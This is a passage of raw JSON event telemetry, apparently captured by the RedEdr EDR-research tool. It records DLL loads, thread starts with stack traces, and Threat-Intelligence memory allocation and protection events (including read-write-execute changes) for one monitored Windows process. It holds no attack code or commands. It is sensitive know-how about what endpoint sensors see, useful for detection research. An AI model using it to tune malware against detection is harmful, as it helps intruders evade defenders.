\",\"id\":46,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722541705166,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973830298,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82800000\",\"ImageBase\":\"00007FFC82800000\",\"ImageCheckSum\":\"3204207\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\KernelBase.dll\",\"ImageSize\":\"00000000002FE000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3522100337\",\"event\":\"ImageLoadInfo \",\"id\":47,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722541705166,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973831893,\"trace_id\":41,\"type\":\"etw\"},{\"addr\":2470294519808,\"free_type\":8000,\"func\":\"NtFreeVirtualMemory\",\"handle\":-1,\"id\":48,\"pid\":1208,\"return\":0,\"size\":4096,\"size_req\":12,\"tid\":5680,\"time\":133791868979782053,\"trace_id\":41,\"type\":\"dll\"},{\"DefaultBase\":\"00007FFC83B50000\",\"ImageBase\":\"00007FFC83B50000\",\"ImageCheckSum\":\"766771\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\advapi32.dll\",\"ImageSize\":\"00000000000B1000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"187986496\",\"event\":\"ImageLoadInfo \",\"id\":49,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973843604,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83D40000\",\"ImageBase\":\"00007FFC83D40000\",\"ImageCheckSum\":\"681663\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcrt.dll\",\"ImageSize\":\"000000000009E000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2616593924\",\"event\":\"ImageLoadInfo \",\"id\":50,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973844199,\"trace_id\":41,\"type\":\"etw\"},{\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AAC77000\",\"StackLimit\":\"FFFF8185AAC71000\",\"StartAddr\":\"00007FFC8513D110\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DA000\",\"ThreadID\":\"11092\",\"UserStackBase\":\"0000009FD8C00000\",\"UserStackLimit\":\"0000009FD8BFF000\",\"Win32StartAddr\":\"00007FFC8513D110\",\"event\":\"ThreadStartStart \",\"id\":51,\"opcode_id\":1,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,18446735283798947552,18446735283801492570,18446735283797779076,18446735283796924337,18446735283796923547,18446735283799009541,140722541495044,140722540915673,140722540915302,140722540901535,140722540936098,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973844777,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84650000\",\"ImageBase\":\"00007FFC84650000\",\"ImageCheckSum\":\"673563\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\sechost.dll\",\"ImageSize\":\"000000000009F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1942365337\",\"event\":\"ImageLoadInfo \",\"id\":52,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973845122,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83410000\",\"ImageBase\":\"00007FFC83410000\",\"ImageCheckSum\":\"1244603\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\rpcrt4.dll\",\"ImageSize\":\"0000000000123000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2016036219\",\"event\":\"ImageLoadInfo \",\"id\":53,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973845622,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82C20000\",\"ImageBase\":\"00007FFC82C20000\",\"ImageCheckSum\":\"199345\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcrypt.dll\",\"ImageSize\":\"0000000000027000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2535700803\",\"event\":\"ImageLoadInfo \",\"id\":54,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973846304,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC62B00000\",\"ImageBase\":\"00007FFC62B00000\",\"ImageCheckSum\":\"929031\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp140d.dll\",\"ImageSize\":\"00000000000E2000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"4270244042\",\"event\":\"ImageLoadInfo \",\"id\":55,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973850339,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC848D0000\",\"ImageBase\":\"00007FFC848D0000\",\"ImageCheckSum\":\"1221752\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ole32.dll\",\"ImageSize\":\"000000000012B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"610785574\",\"event\":\"ImageLoadInfo \",\"id\":56,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973850943,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82C50000\",\"ImageBase\":\"00007FFC82C50000\",\"ImageCheckSum\":\"1076532\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbase.dll\",\"ImageSize\":\"0000000000100000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2177850761\",\"event\":\"ImageLoadInfo \",\"id\":57,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973851508,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84D50000\",\"ImageBase\":\"00007FFC84D50000\",\"ImageCheckSum\":\"3511252\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\combase.dll\",\"ImageSize\":\"0000000000353000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3888075817\",\"event\":\"ImageLoadInfo \",\"id\":58,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973852214,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC833E0000\",\"ImageBase\":\"00007FFC833E0000\",\"ImageCheckSum\":\"218727\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32.dll\",\"ImageSize\":\"000000000002B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3634633287\",\"event\":\"ImageLoadInfo \",\"id\":59,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973852906,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82FF0000\",\"ImageBase\":\"00007FFC82FF0000\",\"ImageCheckSum\":\"137991\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\win32u.dll\",\"ImageSize\":\"0000000000022000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3336608826\",\"event\":\"ImageLoadInfo \",\"id\":60,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973853419,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82B00000\",\"ImageBase\":\"00007FFC82B00000\",\"ImageCheckSum\":\"1180473\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32full.dll\",\"ImageSize\":\"0000000000117000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"576863693\",\"event\":\"ImageLoadInfo \",\"id\":61,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973853787,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83070000\",\"ImageBase\":\"00007FFC83070000\",\"ImageCheckSum\":\"659111\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp_win.dll\",\"ImageSize\":\"000000000009D000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"958749903\",\"event\":\"ImageLoadInfo \",\"id\":62,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973854262,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84A00000\",\"ImageBase\":\"00007FFC84A00000\",\"ImageCheckSum\":\"1745311\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\user32.dll\",\"ImageSize\":\"000000000019D000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"4291603748\",\"event\":\"ImageLoadInfo \",\"id\":63,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973854932,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC77340000\",\"ImageBase\":\"00007FFC77340000\",\"ImageCheckSum\":\"215677\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140d.dll\",\"ImageSize\":\"000000000002B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3390545094\",\"event\":\"ImageLoadInfo \",\"id\":64,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973856273,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC7DD50000\",\"ImageBase\":\"00007FFC7DD50000\",\"ImageCheckSum\":\"124685\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140_1d.dll\",\"ImageSize\":\"000000000000F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"743278547\",\"event\":\"ImageLoadInfo \",\"id\":65,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973857377,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC628D0000\",\"ImageBase\":\"00007FFC628D0000\",\"ImageCheckSum\":\"2249853\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbased.dll\",\"ImageSize\":\"0000000000222000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3642813796\",\"event\":\"ImageLoadInfo \",\"id\":66,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973858416,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83DE0000\",\"ImageBase\":\"00007FFC83DE0000\",\"ImageCheckSum\":\"244437\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\imm32.dll\",\"ImageSize\":\"000000000002F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3510600902\",\"event\":\"ImageLoadInfo \",\"id\":67,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722498119186,140722533672481,140722533664800,140722540943901,140722541286135,140722541285514,140722541285648,140722541285648,140722541285648,140722541706418,140722541321707,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973877940,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC630A0000\",\"ImageBase\":\"00007FFC630A0000\",\"ImageCheckSum\":\"0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\RedEdr\\\\RedEdrDll.dll\",\"ImageSize\":\"0000000000082000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1734697896\",\"event\":\"ImageLoadInfo \",\"id\":68,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541236080,140722541232655,140722540968787,140722540934116,140722540931828,140722498119186,140722498150113,140722541498974,140722541497636,140722541322413,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973891869,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC73E50000\",\"ImageBase\":\"00007FFC73E50000\",\"ImageCheckSum\":\"1883635\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\dbghelp.dll\",\"ImageSize\":\"00000000001E4000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2592498981\",\"event\":\"ImageLoadInfo \",\"id\":69,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722540968797,140722540934116,140722540931828,140722498119186,140722498150113,140722541498974,140722541497636,140722541322413,140722541321331,140722541321246],\"thread_id\":6916,\"time\":133791868973894702,\"trace_id\":41,\"type\":\"etw\"},{\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AAC8C000\",\"StackLimit\":\"FFFF8185AAC86000\",\"StartAddr\":\"00007FFC8513D110\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DC000\",\"ThreadID\":\"3196\",\"UserStackBase\":\"0000009FD8D00000\",\"UserStackLimit\":\"0000009FD8CFF000\",\"Win32StartAddr\":\"00007FFC8513D110\",\"event\":\"ThreadStartStart \",\"id\":70,\"opcode_id\":1,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,18446735283798947552,18446735283801492570,18446735283797779076,18446735283796924337,18446735283796923547,18446735283799009541,140722541495044,140722540915673,140722540970036,140722541246040,140722541156250,140722508034932,140722541153425],\"thread_id\":11092,\"time\":133791868973904770,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82F60000\",\"ImageBase\":\"00007FFC82F60000\",\"ImageCheckSum\":\"531569\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcryptprimitives.dll\",\"ImageSize\":\"0000000000082000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3309379821\",\"event\":\"ImageLoadInfo \",\"id\":71,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140721970357133,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540932416,140722540930798,140722541041959,140722540905542,140722510982114,140722511029553,140722510934949,140722252973064,140722252970041,140722252944910,140721970336136,140721970334552,140721970362881,140722498356982,140700732029427,140700732031462,140700732110521,140700732110174,140700732109854,140700732110670,140722508034932,140722541153425],\"thread_id\":6916,\"time\":133791868979064970,\"trace_id\":41,\"type\":\"etw\"},{\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AC7B9000\",\"StackLimit\":\"FFFF8185AC7B3000\",\"StartAddr\":\"0000023F29030000\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DE000\",\"ThreadID\":\"5680\",\"UserStackBase\":\"0000009FD8E00000\",\"UserStackLimit\":\"0000009FD8DFF000\",\"Win32StartAddr\":\"0000023F29030000\",\"event\":\"ThreadStartStart \",\"id\":72,\"opcode_id\":1,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,140722541489444,140721970350754,140722498157487,140722508052765,140700732029491,140700732031462,140700732110521,140700732110174,140700732109854,140700732110670,140722508034932,140722541153425],\"thread_id\":6916,\"time\":133791868979501089,\"trace_id\":41,\"type\":\"etw\"},{\"AllocationType\":\"12288\",\"BaseAddress\":\"0x0000025BA365C900\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365CB30\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"ALLOCVM_LOCAL\",\"id\":73,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909306,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C540\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"32\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C8B0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":74,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909600,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4A0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"32\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365CB30\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":75,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909618,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C950\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"32\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown 